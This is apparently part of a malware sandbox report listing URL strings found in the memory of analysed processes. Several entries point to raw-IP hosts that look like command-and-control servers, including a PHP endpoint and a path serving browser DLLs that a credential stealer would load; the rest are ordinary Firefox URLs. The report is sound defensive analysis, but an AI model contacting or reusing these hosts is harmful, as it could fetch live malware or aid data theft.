Source: explorti.exe, 00000007.00000002.2926586035.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpta
Source: explorti.exe, 00000007.00000002.2926586035.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/ViewSizePreferences.SourceAumid
Source: explorti.exe, 00000007.00000002.2926586035.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/fac00b58987e8fcf7b8c730804042ba5ce902415450#=
Source: 8ec8c5c339.exe, 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmp, 8ec8c5c339.exe, 0000000A.00000002.2721852651.00000000025EA000.00000004.00000020.00020000.00000000.sdmp, 8ec8c5c339.exe, 0000000A.00000002.2721852651.0000000002621000.00000004.00000020.00020000.00000000.sdmp, 8ec8c5c339.exe, 0000001E.00000002.2782069458.00000000026DA000.00000004.00000020.00020000.00000000.sdmp, 8ec8c5c339.exe, 0000001E.00000002.2781993331.00000000026C0000.00000040.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31
Source: 8ec8c5c339.exe, 0000000A.00000002.2721852651.0000000002621000.00000004.00000020.00020000.00000000.sdmp, 8ec8c5c339.exe, 0000001E.00000002.2782069458.00000000026DA000.00000004.00000020.00020000.00000000.sdmp, 8ec8c5c339.exe, 0000001E.00000002.2782069458.0000000002710000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/
Source: 8ec8c5c339.exe, 0000000A.00000002.2721852651.0000000002621000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/3w
Source: 8ec8c5c339.exe, 0000001E.00000002.2782069458.0000000002710000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php
Source: 8ec8c5c339.exe, 0000000A.00000002.2721852651.0000000002621000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php-w6
Source: 8ec8c5c339.exe, 0000001E.00000002.2782069458.0000000002710000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php.?i
Source: 8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php6
Source: 8ec8c5c339.exe, 0000001E.00000002.2782069458.0000000002710000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpA
Source: 8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpE
Source: 8ec8c5c339.exe, 00000008.00000002.2772437100.0000000028B0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpJ
Source: 8ec8c5c339.exe, 0000001E.00000002.2782069458.00000000026DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpQ
Source: 8ec8c5c339.exe, 00000008.00000002.2772437100.0000000028B15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpSQ
Source: 8ec8c5c339.exe, 0000001E.00000002.2782069458.0000000002710000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpV?
Source: 8ec8c5c339.exe, 0000001E.00000002.2782069458.00000000026DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpZ
Source: 8ec8c5c339.exe, 00000008.00000002.2741806930.00000000024C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpa
Source: 8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpaY
Source: 8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpb
Source: 8ec8c5c339.exe, 00000008.00000002.2741806930.00000000024C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpj
Source: 8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpjQ
Source: 8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpo
Source: 8ec8c5c339.exe, 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phposition:
Source: 8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpwQ
Source: 8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpx
Source: 8ec8c5c339.exe, 0000000A.00000002.2721852651.0000000002621000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpywB
Source: 8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp, 8ec8c5c339.exe, 00000008.00000002.2741806930.00000000024C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/freebl3.dll
Source: 8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/freebl3.dll9
Source: 8ec8c5c339.exe, 00000008.00000002.2741806930.00000000024C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/freebl3.dlly
Source: 8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/mozglue.dll
Source: 8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/msvcp140.dll
Source: 8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/nss3.dll
Source: 8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/nss3.dll=
Source: 8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/softokn3.dll
Source: 8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/softokn3.dllF
Source: 8ec8c5c339.exe, 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/sqlite3.dll
Source: 8ec8c5c339.exe, 00000008.00000002.2741806930.00000000024FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/vcruntime140.dll
Source: 8ec8c5c339.exe, 0000000A.00000002.2721852651.0000000002621000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/Iw
Source: 8ec8c5c339.exe, 0000000A.00000002.2721852651.0000000002621000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/Qwj
Source: 8ec8c5c339.exe, 0000001E.00000002.2782069458.00000000026DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/al
Source: 8ec8c5c339.exe, 0000000A.00000002.2721852651.0000000002621000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/cwx
Source: 8ec8c5c339.exe, 00000008.00000002.2741806930.00000000024FA000.00000004.00000020.00020000.00000000.sdmp, 8ec8c5c339.exe, 0000001E.00000002.2782069458.00000000026DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/l
Source: 8ec8c5c339.exe, 00000008.00000002.2741806930.00000000024FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/r
Source: 8ec8c5c339.exe, 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://85.28.47.315499d72b3a3e55be.phposition:
Source: 8ec8c5c339.exe, 0000001E.00000002.2781993331.00000000026C0000.00000040.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31EC
Source: 8ec8c5c339.exe, 00000008.00000002.2740205336.000000000249E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31FZSAi
Source: 8ec8c5c339.exe, 0000000A.00000002.2721852651.00000000025EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31Wi
Source: 8ec8c5c339.exe, 0000001E.00000002.2782069458.00000000026DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31p
Source: firefox.exe, 00000018.00000002.2630286434.00000238F3482000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 00000018.00000002.2631652987.00000238F387B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shandlerSvc
Source: firefox.exe, 00000018.00000002.2636379005.00000238F52B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: firefox.exe, 00000023.00000002.3337329658.0000028631F64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3358002708.0000028632E49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 00000023.00000002.3321697398.0000028631021000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dev.w3.org/html5/spec/rendering.html#rendering
Source: firefox.exe, 00000018.00000002.2630851621.00000238F3709000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2630851621.00000238F372C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2598025146.00000238F3712000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.00000286310AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3025589583.000002862D495000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 00000018.00000002.2630851621.00000238F3709000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2630851621.00000238F372C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2598025146.00000238F3712000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.00000286310AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3025589583.000002862D495000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 00000018.00000002.2628599943.00000238F2E24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2996654486.000002862D324000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 00000018.00000002.2628599943.00000238F2E81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2996654486.000002862D381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-times
Source: firefox.exe, 00000018.00000002.2628599943.00000238F2E24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2996654486.000002862D324000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 00000018.00000002.2628599943.00000238F2E81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2996654486.000002862D381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressions
Source: firefox.exe, 00000018.00000002.2628599943.00000238F2E24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2996654486.000002862D324000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 00000018.00000002.2625566496.00000238E7603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/strings
Source: firefox.exe, 00000023.00000002.2938979510.0000028621A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/stringsp
Source: firefox.exe, 00000018.00000002.2632654052.00000238F441F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2632654052.00000238F4437000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2632654052.00000238F4413000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.2837667745.00000286321A5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3333979888.0000028631C03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.0000028631031000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.000002863106A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.000002863107C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.2834188693.000002863208E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.2841500368.00000286321A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.2833700774.000002863204C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3339527137.00000286321A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.2833949224.000002863208E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3168184572.000002862DC03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3308305890.000002862E965000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.2833583247.000002863208E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E8E8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.2833188237.000002863208E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E895000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3334627067.0000028631D33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.0000028631021000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: 1c593ec106.exe, 00000009.00000000.2376356930.0000000000C51000.00000080.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 00000009.00000002.2920638250.00000000009B1000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000009B1000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000000.2528010907.0000000000C51000.00000080.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000009B1000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000000.2695008858.0000000000C51000.00000080.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07
Source: 1c593ec106.exe, 00000009.00000000.2376356930.0000000000C51000.00000080.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 00000009.00000002.2920638250.00000000009B1000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000009B1000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000000.2528010907.0000000000C51000.00000080.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000009B1000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000000.2695008858.0000000000C51000.00000080.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr
Source: 1c593ec106.exe, 00000009.00000000.2376356930.0000000000C51000.00000080.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 00000009.00000002.2920638250.00000000009B1000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000009B1000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000000.2528010907.0000000000C51000.00000080.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000009B1000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000000.2695008858.0000000000C51000.00000080.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://pki-ocsp.symauth.com0
Source: firefox.exe, 00000018.00000002.2630286434.00000238F3482000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2631652987.00000238F387B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000018.00000002.2636379005.00000238F52B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 00000023.00000002.3337329658.0000028631F64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0.
Source: firefox.exe, 00000023.00000002.3337329658.0000028631F64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 00000023.00000003.2833583247.000002863208E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.2833188237.000002863208E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://src.chromium.org/viewvc/chrome/trunk/src/third_party/cld/languages/internal/languages.cc
Source: firefox.exe, 00000018.00000002.2631652987.00000238F387B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000018.00000002.2636379005.00000238F52B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 00000023.00000002.3306154976.000002862E8E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.ethiopic.org/Collation/OrderedLists.html.
Source: firefox.exe, 00000023.00000003.2833583247.000002863208E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.2833188237.000002863208E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com
Source: firefox.exe, 00000018.00000002.2630286434.00000238F3482000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2631652987.00000238F387B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 00000018.00000002.2631652987.00000238F387B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modul
Source: firefox.exe, 00000018.00000002.2636379005.00000238F52B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: 8ec8c5c339.exe, 8ec8c5c339.exe, 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: firefox.exe, 00000023.00000002.3308305890.000002862E9B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.2843731239.0000028630C75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3316150456.0000028630BDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3326407807.00000286315A6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.2843731239.0000028630CB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3108413567.000002862DAA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 00000023.00000003.2843731239.0000028630C75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul%
Source: firefox.exe, 00000023.00000002.3321697398.000002863107C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.0000028631021000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul);
Source: firefox.exe, 00000018.00000002.2631652987.00000238F3846000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/sessionstore/Global
Source: firefox.exe, 00000023.00000002.3108413567.000002862DAA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xultoolbar-context-menu-bookmarks-show-oth
Source: firefox.exe, 00000023.00000002.3321697398.000002863107C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/newlayout/xml/parsererror.xml);
Source: 8ec8c5c339.exe, 00000008.00000002.2758711410.000000001CA62000.00000004.00000020.00020000.00000000.sdmp, 8ec8c5c339.exe, 00000008.00000002.2779246693.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: firefox.exe, 00000023.00000002.3337329658.0000028631F64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: firefox.exe, 00000023.00000002.3337329658.0000028631F64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 00000018.00000003.2609028189.00000238F712E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2608033351.00000238F6F00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2612170664.00000238F7144000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2639277438.00000238F715B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2608317826.00000238F7118000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3326407807.0000028631538000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3168184572.000002862DC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: 8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecop
Source: 8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecopnacl
Source: firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 00000023.00000002.3321697398.0000028631045000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2978941920.000002862D252000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.orgcreateContentPrincipalFromOriginchrome://browser/skin/menu.svgdevice-conne
Source: firefox.exe, 00000023.00000002.2978941920.000002862D252000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.orgl
Source: firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 00000018.00000002.2631652987.00000238F3815000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etpexecuteIDB/promise
Source: firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.000002863107C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
